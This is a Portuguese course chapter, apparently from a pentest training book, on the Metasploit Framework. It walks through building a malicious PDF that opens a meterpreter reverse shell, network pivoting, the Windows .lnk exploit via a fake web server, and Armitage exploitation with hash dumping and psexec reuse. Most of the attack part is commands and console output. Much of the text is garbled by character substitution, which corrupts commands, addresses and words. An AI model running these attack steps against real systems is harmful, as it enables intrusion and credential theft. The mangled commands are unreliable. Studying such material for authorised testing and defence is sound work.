*ara poder usar este recurso ser necessrio estar executando sob o processo
explorer"exe% sendo assim migre para este processo caso no este(a% com o comando
migrate"
; mi"rate Kpid!do!processoL
19.12.. Metasploit !do"e #$ploit
Abra um terminal e entre no diretErio do msf+
# cd /pentest/exploits/framework3/
# ./msfconsole
Captulo 19 Metasploit Framework - 238
Bamos agora especificar o exploit que iremos utilizar% d@ os seguintes
comandos abaixo+
msf ; use exploit/windows/fileformat/ado/e!pdf!em/edded!exe
msf; show options
Bamos alterar as seguintes op'=es+
-C7E)AME Y 1er gerado o arquivo pdf com o nome aqui especificado por nEs"
C)-C7E)AME Y Aqui especificaremos um pdf como modelo para anexar nosso
pa.load"
#9A*9A*AAQ Y P o diretErio onde ser criado e armazenado o pdf"
; set 0%=,<8., planilha&.pdf
; set %<0%=,<8., /root/planilha.pdf
; set 1?3*?3*83- /root/
; show options
Captulo 19 Metasploit Framework - 239
Agora vamos configurar nosso pa.load% usarei o meterpreter reverseTtcp" Be(a
imagem abaixo+
; set *8A=182 windows/meterpreter/reerse!tcp
; set =-1+3 17&.168.'.11'
; set =*1>3 ::55
; exploit


Captulo 19 Metasploit Framework - 240
)a imagem acima eu especifique meu pa.load 2indosFmeterpreterFreverseTtcp4%
especifiquei meu $ost local 27Q#1A K[3"KLM"I"KKI4% especifiquei min$a porta local
27*#DA HHJJ4 e logo em seguida dei o comando exploit"
Agora vamos enviar o nosso arquivo planil$a3"pdf para nosso alvoFv&tima" Mas
antes vamos deixar o msf escutando com o exploit multiF$andler% ve(a a configura'o
na imagem abaixo+
; /ack
; use exploit/multi/handler
; set *8A=182 windows/meterpreter/reerse!tcp
; set =-1+3 17&.168.'.11'
; set =*1>3 ::55
; exploit

9samos o exploit multiF$andler% selecionamos nosso pa.load
2indosFmeterpreterFreverseTtcp4% especificamos nosso $ost local 27Q#1A
K[3"KLM"I"KKI4% especificamos nossa porta que ficar escutando 27*#DA HHJJ4 e por
fim% executamos com o comando exploit"
# arquivo "pdf gerado pode ser enviado para o alvo que este(a executando em
sua mquina o 0indos ;* 1*G% por exemplo"
Executado o arquivo "pdf% agora ve(a que gan$amos uma conexo meterpreter
com o alvoN
Captulo 19 Metasploit Framework - 241
19.12.%. !tacando &m o"'etivo final a partir de &ma m()&ina '(
comprometida
# primeiro passo obviamente encontrar uma vulnerabilidade no servidor que
se encontra na DMZ e explor8la usando como pa.load o meterpreter" )o terminal do
Metasploit digitamos+
; use Kexploit Fue ataca a ulnera/ilidade encontradaL
; set *8A=182 windows/meterpreter//ind!tcp
; set >-1+3 Kip!host!dmIL exploit-Fue-ataca-a-ulnera/ilidade-encontrada
Captulo 19 Metasploit Framework - 242
Agora precisamos saber o CD da sesso% para isso digitamos o seguinte no
terminal do meterpreter+
; sessions -l
# seguinte passo criar uma rota at a mquina que nosso ob(etivo final%
indicando seu C*% a mscara e o CD de sesso que obtivemos no passo anterior+
# route add Kip!maFuina!o/4etioL K.Mscara de redeL K%2-+essNoL
*or !ltimo% realizamos o ataque < mquina ob(etivo% de forma normal% como se
faria em qualquer outro caso% quer dizer% buscando a vulnerabilidade e aplicando o
respectivo exploit" A diferen'a que devemos dizer ao Metasploit que deve passar
pelo */ que ( temos acesso+
; use Kexploit!necessMrioL
; set *8A=182 windows/meterpreter//ind!tcp
; set >-1+3 KmMFuina!o/4etioL
; exploit
Desta forma podemos realizar um 6b.pass6 usando o Metasploit
19.12.*. !tacando m()&inas +indo,s -.P/ 0ista/ %/ 2113/ 211*2
atrav3s de &m ,e"server falso
Essa explora'o baseia8se na fal$a existente no 0indos% em todas as suas
vers=es% no que diz respeito a manipula'o de arquivos "lnk" Essa fal$a% assim como
seu exploit tornaram8se p!blicos no final de na segunda quinzena de (ul$oF3IKI"
# mais interessante% que apEs tornar p!blica a fal$a% e consequentemente o
exploit% que surgiu um dia depois da divulga'o da fal$a por parte da Microsoft% a
corre'o da mesma sE foi sair quase um m@s depois% deixando mil$=es de mquinas
vulnerveis a esse simples% mas devastador ataque"
Captulo 19 Metasploit Framework - 243
Bamos l"""
# primeiro comando seleciona o explot que ser usado+
; use exploit/windows//rowser/ms1'!':6!shortcut!icon!dllloader
/aso queiramos mais informa'=es sobre o exploit e sua respectiva fal$a%
podemos digitar o seguinte comando+
; info
Esse comando exibir% alm das informa'=es sobre a fal$a% as op'=es que
precisamos configurar para o correto funcionamento do exploit" As op'=es
obrigatErias so+ 1DBQ#1A% 1DB*#DA
Bamos configur8las+
; set +>$-1+3 17&.168.'.83
Esse !ltimo comando% permitir configurarmos o C* no qual o servidor eb
falso ser montado para que a v&tima acesso8o" )o comando abaixo% vamos configurar
a porta na qual o servidor ficar escutando% < espera de uma conexo+
; set +>$*1>3 8'
Qavendo configurado a parte bsica do exploit% precisamos configurar o que
ele far apEs explorar a fal$a no navegador da v&tima% isso % o pa.load+
; set *8A=182 windows/meterpreter/reerse!tcp
; set =-1+3 17&.168.'.83
; set =*1>3 ::::
Audo configurado% funcionando bem% sem nen$um erro% simplesmente
lan'amos o exploit e aguardamos a v&tima conectar em nosso servidor falso+
; exploit
*ara conseguirmos que a v&tima conecte8se% nada como um bom e vel$o
ataque de engen$aria social +84
Captulo 19 Metasploit Framework - 244
19.1. 1rmita*e
A distribui'o :ackArack conta agora com mais uma op'o de usabilidade do
Metasploit% essa nova op'o a Armitage"
# Armitage uma >9C 2interface grfica4 para Metasploit% que torna todo o
processo de explora'o simplificado% ao alcance de at mesmo um usurio com pouco
con$ecimento em Qacking% basta dar alguns cliques e pronto% sistema explorado"
# Armitage esta dispon&vel para donloads no repositErio do :ackArack% e
pode ser baixado e instalado atravs do comando 6apt8get install armitage6"
7embrando que antes de instalar o armitage% pode ser necessrio atualizar o
repositErio do backtrack% para isso d@ o comando 6apt8get update6"
Captulo 19 Metasploit Framework - 245
19.13.1. 4onfig&ra56o do !rmitage
*ara instalar o Armitage no :acktrack% precisamos atualizar os repositErios e
instalar o pacote 6armitage6"
rootC/t:O# apt-"et update
rootC/t:O# aptitude install 4aa-packa"e
rootC/t:O# apt-"et install armita"e
?npackin" armita"e Pfrom .../armita"e!'.1-/t'!i386.de/Q ...
+ettin" up armita"e P'.1-/t'Q ...
# Armitage comunica8se com o Metasploit atravs do daemon D*/% ento
precisamos inici8lo"
rootC/t:O# msfrpcd -f -? msf -* test -t Easic
KRL D.=>*5 startin" on '.'.'.':55553 P++=Q:Easic...
A prExima coisa se fazer iniciar o M.sql 1erver para que o Armitage possa
armazenar os resultados"
rootC/t:O# /etc/init.d/m#sFl start
+tartin" .#+6= data/ase serer: m#sFld.
5heckin" for corruptG not cleanl# closed and up"rade needin" ta/les..
rootC/t:O#
*or !ltimo% executamos o 6armitage"s$6 a partir da pasta
FpentestFexploitFarmitage% e poderemos visualizar a caixa de di8logo de conexo" )o
:acktrack% as credenciais default para o M.1R7 so rootFtoor e para o *ostgres1R7%
postgresFtoor"
rootC/t:/# cd /pentest/exploits/armita"e
rootC/t:/pentest/exploits/armita"e# ./armita"e.sh
Captulo 19 Metasploit Framework - 246
1elecionamos a op'o 69se 1176% verificamos os restante das configura'=es e
clicamos em 6/onnect6" ApEs isso% a (anela principal do Armitage exibida"
Captulo 19 Metasploit Framework - 247
19.13.2. 0arrendo com o !rmitage
*ara selecionar uma varredura que queiramos executar% precisamos expandir
a lista de mEdulos e dar um duplo8clique na varredura que dese(amos utilizar% nesse
caso% 6smbTversion6% e configurar o range de alvos na op'o DQ#1A1"
#utra op'o para varredura% clicar no menu Qosts a M1- 1cans% e
definirmos o range da rede que ser varrida em busca de alvos" #u adicionar um $ost
espe&fico em Qosts a Add Qosts"""
ApEs clicar em 67aunc$6% precisamos aguardar um pouco para que a
varredura se complete e os $osts detectados se(am exibidos" As figuras dos $osts
indicam que so mquinas 0in;* ou 3IIG 1erver"
Captulo 19 Metasploit Framework - 248
1e $ouver algum $ost que no queiramos utilizar como alvo% eles podem ser
removidos clicando com o boto direito% expandindo o menu 6Qost6% e selecionando a
op'o 6Demove Qost6" *odemos ver na figura abaixo% o resultado de nossa varredura%
que $ dois alvos 3IIG 1erver que podemos selecionar para realizar varreduras
adicionais" *erceba que o Armitage configura o valor de DQ#1A1 baseado em nossa
sele'o"
Captulo 19 Metasploit Framework - 249
/licando com o boto direito e selecionando 61ervices6 uma nova aba se
abrir exibindo todos os servi'os que foram varridos no sistema alvo"
Mesmo com essas simples varreduras% podemos ver que conseguimos muitas
informa'=es sobre nossos alvos que so apresentadas para nEs em uma interface
bem amigvel" Adicionalmente% todas as informa'=es so armazenadas em nosso
banco de dados M.1R7"
m#sFl; use msf3S
>eadin" ta/le information for completion of ta/le and column names
Aou can turn off this feature to "et a Fuicker startup with -8
Captulo 19 Metasploit Framework - 250

2ata/ase chan"ed
m#sFl; select addressGos!flaor from hostsS
T---------------T-----------------T
J address J os!flaor J
T---------------T-----------------T
J 17&.168.1.&'5 J @indows &''3 >& J
J 17&.168.1.&': J @indows &''3 >& J
J 17&.168.1.&'6 J @indows D* J
J 17&.168.1.&'1 J @indows D* J
J 17&.168.1.&'3 J @indows D* J
T---------------T-----------------T
5 rows in set P'.'' secQ
m#sFl;
19.13.3. #$plorando com o !rmitage
)a varredura conduzida anteriormente% podemos ver que um dos alvos est
executando o 1"#" 0indos ;* 1*3% e ento tentaremos executar o exploit para a
vulnerabilidade M1IM8ILb contra o mesmo" *ara isso selecionamos o $ost que
queremos atacar% encontramos o exploit na lista de exploits% e damos um duplo8clique
para carregar sua configura'o"
Captulo 19 Metasploit Framework - 251
Assim como na varredura que conduzimos anteriormente% toda a configura'o
necessria foi feita para nEs" Audo o que precisamos clicar em 67aunc$6 e aguardar
a sesso do Meterpreter ser aberta para nEs" Be(a na imagem abaixo que as figuras
dos alvos foi alterada para indicar que um deles foi explorado"
Ruando clicamos com o boto direito no $ost explorado% podemos ver novas
op'=es !teis dispon&veis"
-azemos o dump dos $as$es no sistema explorado em uma tentativa de
recuperar a sen$a e utiliz8la para explorar outros alvos" 1elecionando os demais
$osts% usamos o mEdulo 6psexec6 com o login 6Administrator6 e o $as$ da sen$a que
( conseguimos"
Captulo 19 Metasploit Framework - 252
Agora clicamos em 67aunc$6 e aguardamos receber mais s$ells via
MeterpreterN
/omo podemos ver% o Armitage nos proporciona uma excelente interface para
o Metasploit que pode nos economizar muito tempo em alguns casos" E poss&vel
encontrar mais informa'=es em seu site+ http://www.fastandeas#hackin".com/media "
Captulo 19 Metasploit Framework - 253
19.1#. 5map web s)anner
0MA* um scanner de vulnerabilidades eb que foi criado originalmente a
partir de uma ferramenta c$amada 1R7Map" Esta ferramenta integrada com o
Metasploit e nos permite conduzir a varredura de aplica'=es eb a partir do
-rameork"
19.14.1. 4onfig&rando o +Map
*rimeiro precisamos criar um novo banco de dados para armazenar os
resultados da varredura% carregar o plgin 6map6% e executar o 6$elp6 para ver quais
novos comandos esto dispon&veis para nEs"
#m#sFl -u root -p
; create data/ase wmapS
; Fuit
# cd /pentest/exploits/framework3
# ./msfconsole
msf ; d/!drier m#sFl
msf ; d/!connect root:toorClocalhost/wmap
msf ; load wmap
KRL K@.8* 1.'L ))) et K L metasploit.com &'11
KRL +uccessfull# loaded plu"in: wmap
msf ; help
@map 5ommands
)))))))))))))
5ommand 2escription
------- -----------
wmap!run 3est tar"ets
Captulo 19 Metasploit Framework - 254
wmap!sites .ana"e sites
wmap!tar"ets .ana"e tar"ets
...corte...
19.14.2. !dicionando alvos
Antes de executar a varredura% precisamos primeiro adicionar a 9D7 de um
novo alvo usando o par5metro 68a6 com o comando 6mapTsites6" E alm disso%
executar o comando 6mapTsites 8l6% que exibir os sites dispon&veis"
msf ; wmap!sites -h
KRL ?sa"e: wmap!sites KoptionsL
-h 2ispla# this help text
-a KurlL 8dd site PhostGurlQ
-l =ist all aaila/le sites
-s KurlsL PleelQ 2ispla# site structure PhostGurlQ
msf ; wmap!sites -a dominio-a-partir-do-wwwGip-Mlido
ApEs isso% acrescentamos o alvo que dese(amos varrer utilizando o comando
6mapTtargets 8t6"
msf ; wmap!tar"ets -t dominio-a-partir-do-wwwGip-Mlido
9sando o comando 6mapTrun6 iniciaremos a varredura do sistema alvo"
*rimeiro usamos o par5metro 68t6 para listar os mEdulos que sero usados para
varrer o sistema remoto"
msf ; wmap!run -h
KRL ?sa"e: wmap!run KoptionsL
-h 2ispla# this help text
-t +how all matchin" exploit modules
-e KprofileL =aunch profile test modules a"ainst all
matched tar"ets.
Captulo 19 Metasploit Framework - 255
<o profile runs all ena/led modules.
msf ; wmap!run -t
KRL =oaded auxiliar#/scanner/http/we/da!we/site!content ...
KRL =oaded auxiliar#/scanner/http/http!ersion ...
KRL =oaded auxiliar#/scanner/http/we/da!scanner ...
KRL =oaded auxiliar#/scanner/http/sn!scanner ...
KRL =oaded auxiliar#/scanner/http/soap!xml ...
...corte...
Audo o que resta agora realizar a varredura contra nossa 9D7 alvo"
msf ; wmap!run -e
KRL ?sin" 8== wmap ena/led modules.
KRL =aunchin" auxiliar#/scanner/http/we/da!we/site!content
@.8*!+,>$,> a"ainst 17&.168.1.&'::8'
KRL 0ound file or director# in @e/28$ response P17&.168.1.&':Q
http://17&.168.1.&':/
KRL +canned 1 of 1 hosts P1''U completeQ
KRL =aunchin" auxiliar#/scanner/http/http!ersion @.8*!+,>$,> a"ainst
17&.168.1.&'::8'
KRL 17&.168.1.&': .icrosoft-%%+/6.'
...corte...
KRL +canned 1 of 1 hosts P1''U completeQ
KRL =aunchin" auxiliar#/scanner/http/dir!listin" @.8*!2%> / a"ainst
17&.168.1.&'::8'...
KRL +canned 1 of 1 hosts P1''U completeQ
msf ;
19.14.3. 0erificando res&ltados
Assim que a varredura tiver finalizado% vamos verificar o banco de dados para
Captulo 19 Metasploit Framework - 256
ver se o map encontrou algo de interessante"
msf ; d/!hosts -c addressGscsGulns
-osts
)))))
address scs ulns
------- ---- -----
17&.168.1.&': 1 1
msf ;
#l$ando a sa&da acima% podemos ver que o map reportou uma
vulnerabilidade" Executando o comando 6dbTvulns6% listaremos os detal$es da
mesma"
msf ; d/!ulns
KRL 3ime: 3hu <o &5 '':5':&7 ?35 &'1' $uln: host)17&.168.1.&':
port)8' proto)tcp name)-33*-3>85,-,<8E=,2
refs)E8h/E#%%61V0%":#.281=3.I13")
GE8h/E#%%61V0%":#.281=3.'13")
GE8h/E#%W31<@>,%i52"3<w))
GE8h/E#%%6kl,%"ox.3Aw<8))
GE8h/E#%%6kl,%"k5<38&
GE8h/E#%%6kl,%"k5<3Ax
msf ;
A informa'o sobre a vulnerabilidade est codificada no formato baseLH% e por
isso precisamos decodific8la" *odemos usar o openssl para isso"
Captulo 19 Metasploit Framework - 257
msf ; echo 9E8h/E#%%61V0%":#.281=3.I13")9 J openssl /ase6: -d
KRL exec: echo 9E8h/E#%%61V0%":#.281=3.I13")9 J openssl /ase6: -d
K5$,9&''5-3378
msf ;
*odemos agora usar essa informa'o para conseguir mais detal$es obre a
vulnerabilidades reportada" /omo pentesters% devemos investigar cada informa'o
encontrada e identificar se $ potenciais mtodos de ataque"
19.1$. 6aborat7rio Metasploit
#b$etivos+
K a #bter acesso remoto na mquina 7inux explorando uma fal$a que
possibilite a execu'o de uma backdoor"
3 a #bter acesso nas mquinas 0indos atravs do Metasploit"
19.1'. Contramedidas
Manter todos os aplicativos atualizados
Aplicar patc$es de corre'o e seguran'a
Manter regras de fireall bem configuradas

Você também pode gostar